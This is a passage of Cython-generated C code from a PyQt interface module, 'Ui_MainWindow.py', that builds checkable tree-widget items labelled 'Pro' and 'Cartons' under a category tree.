__pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 599, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":600 * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) # <<<<<<<<<<<<<< * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") * item_1.setToolTip(0, "") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTreeWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_item_0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_item_0}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_item_0}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_INCREF(__pyx_v_item_0); __Pyx_GIVEREF(__pyx_v_item_0); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_item_0); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 600, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item_1, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":601 * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_topLevelItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__381, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_child); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__382, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__383, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":602 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 602, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__384, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 602, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":603 * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 603, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__385, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 603, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":604 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setWhatsThis); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 604, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__386, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 604, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":605 * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) # <<<<<<<<<<<<<< * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setCheckState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Unchecked); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 605, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":606 * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) # <<<<<<<<<<<<<< * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setFlags); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ItemIsSelectable); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_ItemIsUserCheckable); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyNumber_Or(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ItemIsEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Or(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 606, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":607 * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) # <<<<<<<<<<<<<< * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") * item_1.setToolTip(0, "") */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTreeWidgetItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_item_0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_item_0}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_item_0}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_item_0); __Pyx_GIVEREF(__pyx_v_item_0); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_item_0); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 607, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_item_1, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":608 * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_topLevelItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__387, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_child); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__388, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setText); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__389, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":609 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 609, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__390, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 609, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":610 * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 610, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__391, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 610, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":611 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setWhatsThis); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 611, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__392, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 611, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":612 * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) # <<<<<<<<<<<<<< * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, 